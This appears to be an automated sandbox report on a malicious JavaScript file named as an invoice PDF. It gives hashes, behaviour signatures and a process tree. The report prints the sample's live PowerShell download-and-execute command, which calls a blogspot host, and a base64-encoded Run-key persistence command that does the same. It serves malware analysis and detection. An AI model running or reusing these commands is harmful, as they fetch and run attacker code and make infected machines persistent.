f9585ee754feb665c4c843fdb99a3ff67c81bb3cc1bfcc9c89b90bd3a24dca23

Analysis

max time kernel
149s
max time network
151s
platform
windows11-21h2_x64
resource
win11-20260130-en
resource tags

arch:x64arch:x86image:win11-20260130-enlocale:en-usos:windows11-21h2-x64systemwindows
submitted
29/04/2026, 09:40

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
invoice-1645080830.pdf (50).js
Size 22.1MB
Sample260429-lnb7kshz7y
SHA256 f9585ee754feb665c4c843fdb99a3ff67c81bb3cc1bfcc9c89b90bd3a24dca23
MD5 e7d59bc987e6c359888f7eeab7eed987
SHA1 97d9ea30a5226fa5cf3bd55af0c3829a9faf7514
SHA512 3c560b01ce7db8cc5c5366404bdc6920541a63982536a4c544af31081f1bcad26a3466adfd26b1f1a79e41e2b7e5769d7bb94f5f8e7ee4e0af5c2557d411732e
SSDEEP 49152:EjJjujEjHjHjBjnjBjWj9jTjRBJ6jtjHjKjuj8BJnjGj5jjjVjHjcj2jAjFjJjTs:w
TLSH
T1C137234BBE31586E1C5D757D109E098757FE00181888DEFACBF7A435E2DBA7E20AE064
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

discovery execution persistence

Malware Config

Signatures

Badlisted process makes network request 9 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
2	3380	powershell.exe
3	3380	powershell.exe
4	3380	powershell.exe
5	3380	powershell.exe
7	3380	powershell.exe
8	3380	powershell.exe
40	8	powershell.exe
42	8	powershell.exe
62	8	powershell.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3847269522-1618051987-1942096715-1000\Software\Microsoft\Windows\CurrentVersion\Run\draki631 = "conhost.exe --headless powershell.exe -nop -ep bypass -EC WwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbAAgAD0AIABbAE4AZQB0AC4AUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbABUAHkAcABlAF0AOgA6AFQAbABzADEAMgA7ACAASQBFAHgAIAAoAEkAcgBNACAAaAB0AHQAcABzADoALwAvAGgAaQBtAGEAYwBoAGEAbAB5ADEANwBhAHAAbAByAC4AYgBsAG8AZwBzAHAAbwB0AC4AYwBvAG0ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwBzAGMAbwBvAGIAYQAuAGQAbwBjAHgALgBwAGQAZgApADsAIABTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAFMAZQBjAG8AbgBkAHMAIAA1ADkA"	powershell.exe

ConfuserEx .NET packer 1 IoCs

Detects ConfuserEx .NET packer.

resource	yara_rule
behavioral2/memory/8-249-0x000001B4E35E0000-0x000001B4E3602000-memory.dmp	ConfuserEx

Drops file in Windows directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SystemTemp	msedge.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
1032	msedge.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe

Modifies data under HKEY_USERS 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	msedge.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134219293017855520"	msedge.exe

Modifies registry class 3 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3847269522-1618051987-1942096715-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\	msedge.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	msedge.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-3847269522-1618051987-1942096715-1000\{4C6CA767-6B4E-4F9B-BFF7-FBAB78791809}	msedge.exe

Suspicious behavior: EnumeratesProcesses 22 IoCs

pid	Process
3380	powershell.exe
3380	powershell.exe
3380	powershell.exe
3380	powershell.exe
3380	powershell.exe
3380	powershell.exe
3380	powershell.exe
3380	powershell.exe
3380	powershell.exe
8	powershell.exe
8	powershell.exe
8	powershell.exe
8	powershell.exe
8	powershell.exe
8	powershell.exe
8	powershell.exe
8	powershell.exe
8	powershell.exe
8	powershell.exe
8	powershell.exe
8	powershell.exe
8	powershell.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 9 IoCs

pid	Process
2284	msedge.exe
2284	msedge.exe
2284	msedge.exe
2284	msedge.exe
2284	msedge.exe
2284	msedge.exe
2284	msedge.exe
2284	msedge.exe
2284	msedge.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	3380	powershell.exe
Token: SeIncreaseQuotaPrivilege	3380	powershell.exe
Token: SeSecurityPrivilege	3380	powershell.exe
Token: SeTakeOwnershipPrivilege	3380	powershell.exe
Token: SeLoadDriverPrivilege	3380	powershell.exe
Token: SeSystemProfilePrivilege	3380	powershell.exe
Token: SeSystemtimePrivilege	3380	powershell.exe
Token: SeProfSingleProcessPrivilege	3380	powershell.exe
Token: SeIncBasePriorityPrivilege	3380	powershell.exe
Token: SeCreatePagefilePrivilege	3380	powershell.exe
Token: SeBackupPrivilege	3380	powershell.exe
Token: SeRestorePrivilege	3380	powershell.exe
Token: SeShutdownPrivilege	3380	powershell.exe
Token: SeDebugPrivilege	3380	powershell.exe
Token: SeSystemEnvironmentPrivilege	3380	powershell.exe
Token: SeRemoteShutdownPrivilege	3380	powershell.exe
Token: SeUndockPrivilege	3380	powershell.exe
Token: SeManageVolumePrivilege	3380	powershell.exe
Token: 33	3380	powershell.exe
Token: 34	3380	powershell.exe
Token: 35	3380	powershell.exe
Token: 36	3380	powershell.exe
Token: SeDebugPrivilege	8	powershell.exe
Token: SeIncreaseQuotaPrivilege	3380	powershell.exe
Token: SeSecurityPrivilege	3380	powershell.exe
Token: SeTakeOwnershipPrivilege	3380	powershell.exe
Token: SeLoadDriverPrivilege	3380	powershell.exe
Token: SeSystemProfilePrivilege	3380	powershell.exe
Token: SeSystemtimePrivilege	3380	powershell.exe
Token: SeProfSingleProcessPrivilege	3380	powershell.exe
Token: SeIncBasePriorityPrivilege	3380	powershell.exe
Token: SeCreatePagefilePrivilege	3380	powershell.exe
Token: SeBackupPrivilege	3380	powershell.exe
Token: SeRestorePrivilege	3380	powershell.exe
Token: SeShutdownPrivilege	3380	powershell.exe
Token: SeDebugPrivilege	3380	powershell.exe
Token: SeSystemEnvironmentPrivilege	3380	powershell.exe
Token: SeRemoteShutdownPrivilege	3380	powershell.exe
Token: SeUndockPrivilege	3380	powershell.exe
Token: SeManageVolumePrivilege	3380	powershell.exe
Token: 33	3380	powershell.exe
Token: 34	3380	powershell.exe
Token: 35	3380	powershell.exe
Token: 36	3380	powershell.exe
Token: SeIncreaseQuotaPrivilege	3380	powershell.exe
Token: SeSecurityPrivilege	3380	powershell.exe
Token: SeTakeOwnershipPrivilege	3380	powershell.exe
Token: SeLoadDriverPrivilege	3380	powershell.exe
Token: SeSystemProfilePrivilege	3380	powershell.exe
Token: SeSystemtimePrivilege	3380	powershell.exe
Token: SeProfSingleProcessPrivilege	3380	powershell.exe
Token: SeIncBasePriorityPrivilege	3380	powershell.exe
Token: SeCreatePagefilePrivilege	3380	powershell.exe
Token: SeBackupPrivilege	3380	powershell.exe
Token: SeRestorePrivilege	3380	powershell.exe
Token: SeShutdownPrivilege	3380	powershell.exe
Token: SeDebugPrivilege	3380	powershell.exe
Token: SeSystemEnvironmentPrivilege	3380	powershell.exe
Token: SeRemoteShutdownPrivilege	3380	powershell.exe
Token: SeUndockPrivilege	3380	powershell.exe
Token: SeManageVolumePrivilege	3380	powershell.exe
Token: 33	3380	powershell.exe
Token: 34	3380	powershell.exe
Token: 35	3380	powershell.exe

Suspicious use of FindShellTrayWindow 2 IoCs

pid	Process
2284	msedge.exe
2284	msedge.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
8	powershell.exe

Suspicious use of WriteProcessMemory 62 IoCs

description	pid	Process	procid_target
PID 3632 wrote to memory of 3380	3632	wscript.exe	80
PID 3380 wrote to memory of 2284	3380	powershell.exe	82
PID 2284 wrote to memory of 4128	2284	msedge.exe	83
PID 2284 wrote to memory of 1032	2284	msedge.exe	86
PID 2284 wrote to memory of 4528	2284	msedge.exe	87
PID 2284 wrote to memory of 4528	2284	msedge.exe	87
PID 2284 wrote to memory of 4528	2284	msedge.exe	87
PID 2284 wrote to memory of 1252	2284	msedge.exe	88
PID 2284 wrote to memory of 1252	2284	msedge.exe	88
PID 2284 wrote to memory of 2772	2284	msedge.exe	89
PID 2284 wrote to memory of 2772	2284	msedge.exe	89
PID 2284 wrote to memory of 2772	2284	msedge.exe	89
PID 2284 wrote to memory of 3060	2284	msedge.exe	90
PID 2284 wrote to memory of 3060	2284	msedge.exe	90
PID 2284 wrote to memory of 3060	2284	msedge.exe	90
PID 2284 wrote to memory of 1236	2284	msedge.exe	91
PID 2284 wrote to memory of 4840	2284	msedge.exe	92
PID 2284 wrote to memory of 1236	2284	msedge.exe	91
PID 2284 wrote to memory of 1236	2284	msedge.exe	91
PID 2284 wrote to memory of 4840	2284	msedge.exe	92
PID 2284 wrote to memory of 4840	2284	msedge.exe	92
PID 2284 wrote to memory of 4868	2284	msedge.exe	93
PID 2284 wrote to memory of 4904	2284	msedge.exe	94
PID 2284 wrote to memory of 4868	2284	msedge.exe	93
PID 2284 wrote to memory of 4868	2284	msedge.exe	93
PID 2284 wrote to memory of 4904	2284	msedge.exe	94
PID 2284 wrote to memory of 4904	2284	msedge.exe	94
PID 2284 wrote to memory of 2188	2284	msedge.exe	95
PID 2284 wrote to memory of 2188	2284	msedge.exe	95
PID 2284 wrote to memory of 2188	2284	msedge.exe	95
PID 2284 wrote to memory of 2416	2284	msedge.exe	96
PID 2284 wrote to memory of 2416	2284	msedge.exe	96
PID 2284 wrote to memory of 2416	2284	msedge.exe	96
PID 2284 wrote to memory of 4444	2284	msedge.exe	97
PID 2284 wrote to memory of 4444	2284	msedge.exe	97
PID 2284 wrote to memory of 4900	2284	msedge.exe	98
PID 2284 wrote to memory of 4900	2284	msedge.exe	98
PID 3184 wrote to memory of 8	3184	conhost.exe	101
PID 2284 wrote to memory of 3936	2284	msedge.exe	103
PID 2284 wrote to memory of 3936	2284	msedge.exe	103
PID 2284 wrote to memory of 1516	2284	msedge.exe	104
PID 2284 wrote to memory of 1516	2284	msedge.exe	104
PID 2284 wrote to memory of 1428	2284	msedge.exe	106
PID 2284 wrote to memory of 4404	2284	msedge.exe	107
PID 4404 wrote to memory of 240	4404	msedge.exe	108
PID 2284 wrote to memory of 3408	2284	msedge.exe	109
PID 2284 wrote to memory of 3408	2284	msedge.exe	109
PID 2284 wrote to memory of 4148	2284	msedge.exe	110
PID 2284 wrote to memory of 4148	2284	msedge.exe	110
PID 2284 wrote to memory of 1848	2284	msedge.exe	111
PID 2284 wrote to memory of 1848	2284	msedge.exe	111
PID 2284 wrote to memory of 4336	2284	msedge.exe	112
PID 2284 wrote to memory of 4336	2284	msedge.exe	112
PID 2284 wrote to memory of 2612	2284	msedge.exe	113
PID 2284 wrote to memory of 2612	2284	msedge.exe	113
PID 2284 wrote to memory of 344	2284	msedge.exe	114
PID 2284 wrote to memory of 3628	2284	msedge.exe	115
PID 2284 wrote to memory of 2248	2284	msedge.exe	116
PID 2284 wrote to memory of 3876	2284	msedge.exe	117
PID 2284 wrote to memory of 3876	2284	msedge.exe	117
PID 2284 wrote to memory of 948	2284	msedge.exe	120
PID 2284 wrote to memory of 948	2284	msedge.exe	120

C:\Windows\system32\wscript.exe
wscript.exe "C:\Users\Admin\AppData\Local\Temp\invoice-1645080830.pdf (50).js"
1⤵
- Suspicious use of WriteProcessMemory
PID:3632
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ep Bypass -c [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-Expression (IRM https://hot13oct.blogspot.com/dudu.docx.pdf); Start-Sleep -Seconds 17
  2⤵
  - Badlisted process makes network request
  - Adds Run key to start application
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3380
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument C:\Users\Admin\Downloads\Document.pdf
    3⤵
    - Drops file in Windows directory
    - Enumerates system info in registry
    - Modifies data under HKEY_USERS
    - Modifies registry class
    - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of WriteProcessMemory
    PID:2284
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x2e0,0x2e4,0x2e8,0x2dc,0x344,0x7ff86334c188,0x7ff86334c194,0x7ff86334c1a0
      4⤵
      PID:4128
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1688,i,8895923675400793229,189778075315410111,524288 --field-trial-handle=2676,i,730893193765903681,11825125554555150598,262144 --variations-seed-version --mojo-platform-channel-handle=2704 /prefetch:11
      4⤵
      System Time Discovery
      PID:1032
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1580,i,17102392927977282037,9087002691646702027,262144 --field-trial-handle=2676,i,730893193765903681,11825125554555150598,262144 --variations-seed-version --mojo-platform-channel-handle=2672 /prefetch:2
      4⤵
      PID:4528
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2028,i,16241308053632129958,14754289706648123180,524288 --field-trial-handle=2676,i,730893193765903681,11825125554555150598,262144 --variations-seed-version --mojo-platform-channel-handle=2992 /prefetch:13
      4⤵
      PID:1252
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3452,i,11588926055431779783,18392228025416865360,2097152 --field-trial-handle=2676,i,730893193765903681,11825125554555150598,262144 --variations-seed-version --mojo-platform-channel-handle=3468 /prefetch:1
      4⤵
      PID:2772
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3444,i,17548642553745723455,15789104162370114764,2097152 --field-trial-handle=2676,i,730893193765903681,11825125554555150598,262144 --variations-seed-version --mojo-platform-channel-handle=3480 /prefetch:1
      4⤵
      PID:3060
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --metrics-shmem-handle=4052,i,9775325710078981499,3843375466784133422,2097152 --field-trial-handle=2676,i,730893193765903681,11825125554555150598,262144 --variations-seed-version --mojo-platform-channel-handle=4068 /prefetch:1
      4⤵
      PID:1236
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --metrics-shmem-handle=4076,i,5638819847001376471,12817395598202858577,2097152 --field-trial-handle=2676,i,730893193765903681,11825125554555150598,262144 --variations-seed-version --mojo-platform-channel-handle=3428 /prefetch:9
      4⤵
      PID:4840
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --always-read-main-dll --metrics-shmem-handle=4132,i,7233142845552150291,15429325843612179471,2097152 --field-trial-handle=2676,i,730893193765903681,11825125554555150598,262144 --variations-seed-version --mojo-platform-channel-handle=4200 /prefetch:1
      4⤵
      PID:4868
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --always-read-main-dll --metrics-shmem-handle=4180,i,3046721498145749692,7651397497183344499,2097152 --field-trial-handle=2676,i,730893193765903681,11825125554555150598,262144 --variations-seed-version --mojo-platform-channel-handle=4216 /prefetch:9
      4⤵
      PID:4904
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --init-isolate-as-foreground --pdf-shared-library --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --always-read-main-dll --metrics-shmem-handle=5256,i,1315509679540822255,84501005857278041,2097152 --field-trial-handle=2676,i,730893193765903681,11825125554555150598,262144 --variations-seed-version --mojo-platform-channel-handle=5296 /prefetch:9
      4⤵
      PID:2188
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --renderer-sub-type=pdf-renderer --pdf-renderer --pdf-shared-library --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags="--ms-user-locale= --jitless" --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --always-read-main-dll --metrics-shmem-handle=5532,i,8737777391226006973,9755616461926955158,2097152 --field-trial-handle=2676,i,730893193765903681,11825125554555150598,262144 --variations-seed-version --mojo-platform-channel-handle=5456 /prefetch:15
      4⤵
      PID:2416
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4248,i,3524637624382965877,12558036027385370123,524288 --field-trial-handle=2676,i,730893193765903681,11825125554555150598,262144 --variations-seed-version --mojo-platform-channel-handle=4144 /prefetch:14
      4⤵
      PID:4444
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3596,i,15698773793787977309,7802065459442225997,524288 --field-trial-handle=2676,i,730893193765903681,11825125554555150598,262144 --variations-seed-version --mojo-platform-channel-handle=3476 /prefetch:14
      4⤵
      PID:4900
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4324,i,14437282482103462792,17631158018458377328,524288 --field-trial-handle=2676,i,730893193765903681,11825125554555150598,262144 --variations-seed-version --mojo-platform-channel-handle=3644 /prefetch:14
      4⤵
      PID:3936
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5740,i,13465213167751802632,10043053175580003488,524288 --field-trial-handle=2676,i,730893193765903681,11825125554555150598,262144 --variations-seed-version --mojo-platform-channel-handle=5572 /prefetch:14
      4⤵
      PID:1516
  - - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6308,i,5241450729597702112,10015035521431492617,524288 --field-trial-handle=2676,i,730893193765903681,11825125554555150598,262144 --variations-seed-version --mojo-platform-channel-handle=6324 /prefetch:14
      4⤵
      PID:3504
  - - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6308,i,5241450729597702112,10015035521431492617,524288 --field-trial-handle=2676,i,730893193765903681,11825125554555150598,262144 --variations-seed-version --mojo-platform-channel-handle=6324 /prefetch:14
      4⤵
      PID:1428
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.ProfileImport --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6456,i,7495689361426601129,7755716335940669640,524288 --field-trial-handle=2676,i,730893193765903681,11825125554555150598,262144 --variations-seed-version --mojo-platform-channel-handle=6452 /prefetch:14
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4404
    - - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\cookie_exporter.exe
        
        cookie_exporter.exe --cookie-json=1128
        5⤵
        
        PID:240
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6624,i,4399053348753386288,5464654100832475378,524288 --field-trial-handle=2676,i,730893193765903681,11825125554555150598,262144 --variations-seed-version --mojo-platform-channel-handle=6672 /prefetch:14
      4⤵
      PID:3408
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6876,i,1912689546006798984,2212490912649999302,524288 --field-trial-handle=2676,i,730893193765903681,11825125554555150598,262144 --variations-seed-version --mojo-platform-channel-handle=6848 /prefetch:14
      4⤵
      PID:4148
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=7664,i,17758956454518890992,2020730163703619571,524288 --field-trial-handle=2676,i,730893193765903681,11825125554555150598,262144 --variations-seed-version --mojo-platform-channel-handle=7628 /prefetch:14
      4⤵
      PID:1848
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=7648,i,9026617181673363011,3425946647739461419,524288 --field-trial-handle=2676,i,730893193765903681,11825125554555150598,262144 --variations-seed-version --mojo-platform-channel-handle=7656 /prefetch:14
      4⤵
      PID:4336
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=7652,i,14251835464921024257,13999790349564246842,524288 --field-trial-handle=2676,i,730893193765903681,11825125554555150598,262144 --variations-seed-version --mojo-platform-channel-handle=6748 /prefetch:14
      4⤵
      PID:2612
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4428,i,11383644299121194905,6116895303881462202,524288 --field-trial-handle=2676,i,730893193765903681,11825125554555150598,262144 --variations-seed-version --mojo-platform-channel-handle=4408 /prefetch:14
      4⤵
      PID:344
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
